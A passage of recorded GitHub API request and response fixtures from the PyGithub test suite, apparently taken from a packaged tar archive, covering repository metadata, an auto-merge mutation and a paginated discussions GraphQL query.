downloads","issues_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-01-20T06:37:31Z","pushed_at":"2024-01-19T20:38:15Z","git_url":"git://my.enterprise.com/PyGithub/PyGithub.git","ssh_url":"git@my.enterprise.com:PyGithub/PyGithub.git","clone_url":"https://my.enterprise.com/PyGithub/PyGithub.git","svn_url":"https://my.enterprise.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15500,"stargazers_count":6484,"watchers_count":6484,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1715,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":288,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://my.enterprise.com/api/v3/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1715,"open_issues":288,"watchers":6484,"default_branch":"main"}},"_links":{"self":{"href":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls/31"},"html":{"href":"https://my.enterprise.com/PyGithub/PyGithub/pull/31"},"issue":{"href":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues/31"},"comments":{"href":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues/31/comments"},"review_comments":{"href":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls/31/comments"},"review_comment":{"href":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls/31/commits"},"statuses":{"href":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206"}},"author_association":"MEMBER","auto_merge":null,"active_lock_reason":null,"merged":true,"mergeable":false,"rebaseable":false,"mergeable_state":"dirty","merged_by":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://my.enterprise.com/api/v3/users/jacquev6","html_url":"https://my.enterprise.com/jacquev6","followers_url":"https://my.enterprise.com/api/v3/users/jacquev6/followers","following_url":"https://my.enterprise.com/api/v3/users/jacquev6/following{/other_user}","gists_url":"https://my.enterprise.com/api/v3/users/jacquev6/gists{/gist_id}","starred_url":"https://my.enterprise.com/api/v3/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com/api/v3/users/jacquev6/subscriptions","organizations_url":"https://my.enterprise.com/api/v3/users/jacquev6/orgs","repos_url":"https://my.enterprise.com/api/v3/users/jacquev6/repos","events_url":"https://my.enterprise.com/api/v3/users/jacquev6/events{/privacy}","received_events_url":"https://my.enterprise.com/api/v3/users/jacquev6/received_events","type":"User","site_admin":false},"comments":1,"review_comments":2,"maintainer_can_modify":false,"commits":3,"additions":511,"deletions":384,"changed_files":45} https POST my.enterprise.com None /api/graphql {'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "mutation Mutation($input: DisablePullRequestAutoMergeInput!) { disablePullRequestAutoMerge(input: $input) { actor { avatarUrl login resourcePath url } clientMutationId } }", "variables": {"input": {"pullRequestId": "MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ=="}}} 200 [('Server', 'enterprise.com'), ('Date', 'Wed, 07 Jun 2023 08:27:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1573389419d98a2b3d9a6b1fc058a68f1fc3d31108ccfdab8ca4121153626211"'), ('Last-Modified', 'Wed, 07 Jun 2023 04:02:03 GMT'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4959'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '41'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8A96:10854:895AE2:8AB25B:64803F81')] {"data": {"disablePullRequestAutoMerge": {"actor": {"avatarUrl": "https://avatars.githubusercontent.com/u/14806300?u=786f9f8ef8782d45381b01580f7f7783cf9c7e37&v=4", "login": "heitorpolidoro", "resourcePath": "/heitorpolidoro", "url": "https://my.enterprise.com/api/v3/heitorpolidoro"}, "clientMutationId": null}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GraphQl.testPaginationAndRestIntegration.txt0000644000175100001660000110473414756101563026744 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 17 Sep 2024 11:00:11 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c8e45d1a983f482b7c91fe66326bb90a746e7a7d4592af657e9f4076fc3c4466"'), ('Last-Modified', 'Tue, 17 Sep 2024 06:27:32 GMT'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1726571099'), ('X-RateLimit-Used', '16'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F3C:221185:112839:115225:66E9613B')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-09-17T06:27:32Z","pushed_at":"2024-09-12T10:47:45Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16092,"stargazers_count":6905,"watchers_count":6905,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1762,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":341,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1762,"open_issues":341,"watchers":6905,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1762,"subscribers_count":111} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($repo: String!, $owner: String!, $answered: Boolean, $category_id: ID, $states: [DiscussionState!], $first: Int, $last: Int, $before: String, $after: String) {\n repository(name: $repo, owner: $owner) {\n discussions(answered: $answered, categoryId: $category_id, states: $states, first: $first, last: $last, before: $before, after: $after) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n id\n url\n number\n author {\n login\n avatarUrl\n url\n }\n repository {\n owner { login }\n name\n issues(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n databaseId\n id\n number\n title\n }\n }\n }\n title\n createdAt\n comments(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n id\n url\n createdAt\n author {\n login\n avatarUrl\n url\n }\n isAnswer\n replies(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n id\n url\n createdAt\n author {\n login\n avatarUrl\n url\n }\n }\n }\n }\n }\n labels(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n id\n name\n issues(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n databaseId\n id\n number\n title\n }\n }\n }\n }\n }\n }\n }\n }\n ", "variables": {"repo": "PyGithub", "owner": "PyGithub", "answered": null, "category_id": null, "states": null, "first": 30}} 200 [('Date', 'Tue, 17 Sep 2024 11:00:12 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4894'), ('X-RateLimit-Reset', '1726571100'), ('X-RateLimit-Used', '106'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F5C:1850E8:10FB84:1124B1:66E9613B')] {"data":{"repository":{"discussions":{"totalCount":65,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wOS0xM1QxOToyMzowOSswMjowMM4AbYx8","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMy0xNFQwOTozNjoxOSswMTowMM4AQ6mO","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"id":"D_kwDOADYVqs4AbYx8","url":"https://github.com/PyGithub/PyGithub/discussions/3044","number":3044,"author":{"login":"gmishkin","avatarUrl":"https://avatars.githubusercontent.com/u/2465106?u=7e23c98792f3596bbba10765d045a370a030c7e1&v=4","url":"https://github.com/gmishkin"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Automaticlly look for access tokens in standard places","createdAt":"2024-09-13T17:23:09Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AbOZV","url":"https://github.com/PyGithub/PyGithub/discussions/3033","number":3033,"author":{"login":"kostrykin","avatarUrl":"https://avatars.githubusercontent.com/u/6557139?u=9706d2b70049d79a090a052779c34d18064c7f69&v=4","url":"https://github.com/kostrykin"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Possible to interact with the Discussions on a GitHub repository?","createdAt":"2024-09-04T11:23:25Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AaHoG","url":"https://github.com/PyGithub/PyGithub/discussions/2993","number":2993,"author":{"login":"heitorPB","avatarUrl":"https://avatars.githubusercontent.com/u/13461702?u=3135128f16f6c1dedc510abef536c0ff8fbbd180&v=4","url":"https://github.com/heitorPB"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"How to get a list of custom repository properties?","createdAt":"2024-06-21T13:11:38Z","comments":{"totalCount":2,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wOC0yM1QwODozNjo1MCswMjowMM4AnxkU","endCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wOC0yOVQxODowMTowMCswMjowMM4AoA2V","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AnxkU","url":"https://github.com/PyGithub/PyGithub/discussions/2993#discussioncomment-10426644","createdAt":"2024-08-23T06:36:50Z","author":{"login":"dawngerpony","avatarUrl":"https://avatars.githubusercontent.com/u/161613?u=4a819710cf84ab72ae3ce034b7156ad25a7f06f7&v=4","url":"https://github.com/dawngerpony"},"isAnswer":true,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"DC_kwDOADYVqs4AoA2V","url":"https://github.com/PyGithub/PyGithub/discussions/2993#discussioncomment-10489237","createdAt":"2024-08-29T16:01:00Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4APEfM","url":"https://github.com/PyGithub/PyGithub/discussions/2205","number":2205,"author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Is the PyGithub project dead? How can the community help?","createdAt":"2022-03-20T21:22:53Z","comments":{"totalCount":3,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMi0wOS0yOVQxMTowMDowOSswMjowMM4AOWIf","endCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wOC0yOVQxNzo1ODo1MSswMjowMM4AoA18","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AOWIf","url":"https://github.com/PyGithub/PyGithub/discussions/2205#discussioncomment-3760671","createdAt":"2022-09-29T09:00:09Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"DC_kwDOADYVqs4Anxkl","url":"https://github.com/PyGithub/PyGithub/discussions/2205#discussioncomment-10426661","createdAt":"2024-08-23T06:39:19Z","author":{"login":"dawngerpony","avatarUrl":"https://avatars.githubusercontent.com/u/161613?u=4a819710cf84ab72ae3ce034b7156ad25a7f06f7&v=4","url":"https://github.com/dawngerpony"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"DC_kwDOADYVqs4AoA18","url":"https://github.com/PyGithub/PyGithub/discussions/2205#discussioncomment-10489212","createdAt":"2024-08-29T15:58:51Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":1,"pageInfo":{"startCursor":"MQ","endCursor":"MQ","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"LA_kwDOADYVqs8AAAABXcQ7kg","name":"Call for Contribution","issues":{"totalCount":3,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpHOYoSK8w==","endCursor":"Y3Vyc29yOnYyOpHOcTHszg==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"databaseId":1652853491,"id":"I_kwDOADYVqs5ihIrz","number":2485,"title":"Support Oauth apps with Github Enterprise"},{"databaseId":1879983871,"id":"I_kwDOADYVqs5wDkb_","number":2745,"title":"Add `code_search` to 